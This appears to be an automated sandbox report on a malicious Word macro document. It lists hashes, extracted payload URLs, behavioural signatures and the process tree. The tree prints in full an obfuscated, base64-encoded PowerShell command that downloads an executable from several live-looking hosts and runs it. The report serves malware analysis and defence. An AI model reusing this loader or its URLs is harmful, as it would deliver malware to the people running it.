Analysis
-
max time kernel
101s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20220721-en -
resource tags
arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system -
submitted
24-07-2022 20:31
Static task
static1
Behavioral task
behavioral1
Sample
adc07b7378fe4151f14b3b95e74c2672265af06b3defc0d178101a4f3b471ef0.doc
Resource
win7-20220718-en
Behavioral task
behavioral2
Sample
adc07b7378fe4151f14b3b95e74c2672265af06b3defc0d178101a4f3b471ef0.doc
Resource
win10v2004-20220721-en
General
-
Target
adc07b7378fe4151f14b3b95e74c2672265af06b3defc0d178101a4f3b471ef0.doc
-
Size
146KB
-
MD5
cb47ec5aefc0948b7d9b913faf956205
-
SHA1
ae3a04ef0212f66894180aa705c1dab0d4f4f099
-
SHA256
adc07b7378fe4151f14b3b95e74c2672265af06b3defc0d178101a4f3b471ef0
-
SHA512
a098ade801394cc013aedae7b455aca52bfa04c1110adc31513afae263247b412903395f82dd52819a8cd23bdbe8e8c04470e8f0846e0efa5724b6faad73f60d
Malware Config
Extracted
https://ksicardo.com/travel/ntKWzIyDl/
http://iamzb.com/aspnet_client/system_web/GAAfRZMq/
http://maloninc.com/apps/GbBZomQjS/
http://kumakun.com/7jet/3b244672ze_btumnc0h-2178896/
https://ingegneriadelweb.com/fantacalcio/8611ljoo_o4y023w-3754704371/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4124 4168 powershell.exe -
Blocklisted process makes network request 9 IoCs
Processes:
powershell.exeflow pid process 11 4124 powershell.exe 13 4124 powershell.exe 17 4124 powershell.exe 24 4124 powershell.exe 25 4124 powershell.exe 27 4124 powershell.exe 29 4124 powershell.exe 31 4124 powershell.exe 32 4124 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4592 WINWORD.EXE 4592 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4124 powershell.exe 4124 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4124 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
WINWORD.EXEpid process 4592 WINWORD.EXE 4592 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4592 WINWORD.EXE 4592 WINWORD.EXE 4592 WINWORD.EXE 4592 WINWORD.EXE 4592 WINWORD.EXE 4592 WINWORD.EXE 4592 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 4592 wrote to memory of 4276 4592 WINWORD.EXE splwow64.exe PID 4592 wrote to memory of 4276 4592 WINWORD.EXE splwow64.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\adc07b7378fe4151f14b3b95e74c2672265af06b3defc0d178101a4f3b471ef0.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABjADYANwA5ADQANQA3ADYAPQAnAE0ANwA4ADgANwAwADIAMwAnADsAJABhADYAMAA4ADkAMAA2ACAAPQAgACcANQAzADEAJwA7ACQAUAA2ADcAMAA1ADQANwA9ACcAaAAxADEAMwAyADAAMAAnADsAJABJADMANwA1ADQANAA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABhADYAMAA4ADkAMAA2ACsAJwAuAGUAeABlACcAOwAkAEkAMAA5ADcAOQA0ADEAMAA9ACcAcAA3ADcAXwA4ADIAJwA7ACQAcQA3ADgANABfADQANAA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAATgBgAGUAYABUAC4AdwBFAGIAYwBgAGwAYABJAGUATgB0ADsAJABsAF8ANwAzADIANgA9ACcAaAB0AHQAcABzADoALwAvAGsAcwBpAGMAYQByAGQAbwAuAGMAbwBtAC8AdAByAGEAdgBlAGwALwBuAHQASwBXAHoASQB5AEQAbAAvAEAAaAB0AHQAcAA6AC8ALwBpAGEAbQB6AGIALgBjAG8AbQAvAGEAcwBwAG4AZQB0AF8AYwBsAGkAZQBuAHQALwBzAHkAcwB0AGUAbQBfAHcAZQBiAC8ARwBBAEEAZgBSAFoATQBxAC8AQABoAHQAdABwADoALwAvAG0AYQBsAG8AbgBpAG4AYwAuAGMAbwBtAC8AYQBwAHAAcwAvAEcAYgBCAFoAbwBtAFEAagBTAC8AQABoAHQAdABwADoALwAvAGsAdQBtAGEAawB1AG4ALgBjAG8AbQAvADcAagBlAHQALwAzAGIAMgA0ADQANgA3ADIAegBlAF8AYgB0AHUAbQBuAGMAMABoAC0AMgAxADcAOAA4ADkANgAvAEAAaAB0AHQAcABzADoALwAvAGkAbgBnAGUAZwBuAGUAcgBpAGEAZABlAGwAdwBlAGIALgBjAG8AbQAvAGYAYQBuAHQAYQBjAGEAbABjAGkAbwAvADgANgAxADEAbABqAG8AbwBfAG8ANAB5ADAAMgAzAHcALQAzADcANQA0ADcAMAA0ADMANwAxAC8AJwAuAFMAUABMAEkAdAAoACcAQAAnACkAOwAkAHcAMABfADIAXwAzADMANAA9ACcAVQA2ADgAMQA5ADQANQAnADsAZgBvAHIAZQBhAGMAaAAoACQAVwBfADQANgA3ADEAMQA4ACAAaQBuACAAJABsAF8ANwAzADIANgApAHsAdAByAHkAewAkAHEANwA4ADQAXwA0ADQALgBEAG8AVwBuAEwAbwBBAGQARgBpAEwARQAoACQAVwBfADQANgA3ADEAMQA4ACwAIAAkAEkAMwA3ADUANAA0ADkAKQA7ACQAbgA4ADQAMAA3ADUANAA2AD0AJwBGADQAMgAwAF8AMAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEkAMwA3ADUANAA0ADkAKQAuAEwAZQBuAEcAVABIACAALQBnAGUAIAAyADkANQAzADMAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAgACQASQAzADcANQA0ADQAOQA7ACQAcgA3ADQANgAyADYAPQAnAGkAOQAwADMANwAyADMAJwA7AGIAcgBlAGEAawA7ACQAaAAxADUAOAA4ADgAPQAnAEQAMwA0ADcAOAAzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAOAAzADUAMwAzADUAPQAnAGoAOQAyADAANgAyACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/4124-142-0x00007FFAA7970000-0x00007FFAA8431000-memory.dmpFilesize
10.8MB
-
memory/4124-141-0x00007FFAA7970000-0x00007FFAA8431000-memory.dmpFilesize
10.8MB
-
memory/4124-140-0x00007FFAA7970000-0x00007FFAA8431000-memory.dmpFilesize
10.8MB
-
memory/4124-139-0x00000269A16F0000-0x00000269A1712000-memory.dmpFilesize
136KB
-
memory/4276-137-0x0000000000000000-mapping.dmp
-
memory/4592-134-0x00007FFA93270000-0x00007FFA93280000-memory.dmpFilesize
64KB
-
memory/4592-136-0x00007FFA90A10000-0x00007FFA90A20000-memory.dmpFilesize
64KB
-
memory/4592-135-0x00007FFA90A10000-0x00007FFA90A20000-memory.dmpFilesize
64KB
-
memory/4592-138-0x0000022EA43E0000-0x0000022EA43E4000-memory.dmpFilesize
16KB
-
memory/4592-130-0x00007FFA93270000-0x00007FFA93280000-memory.dmpFilesize
64KB
-
memory/4592-133-0x00007FFA93270000-0x00007FFA93280000-memory.dmpFilesize
64KB
-
memory/4592-132-0x00007FFA93270000-0x00007FFA93280000-memory.dmpFilesize
64KB
-
memory/4592-131-0x00007FFA93270000-0x00007FFA93280000-memory.dmpFilesize
64KB
-
memory/4592-144-0x00007FFA93270000-0x00007FFA93280000-memory.dmpFilesize
64KB
-
memory/4592-145-0x00007FFA93270000-0x00007FFA93280000-memory.dmpFilesize
64KB
-
memory/4592-146-0x00007FFA93270000-0x00007FFA93280000-memory.dmpFilesize
64KB
-
memory/4592-147-0x00007FFA93270000-0x00007FFA93280000-memory.dmpFilesize
64KB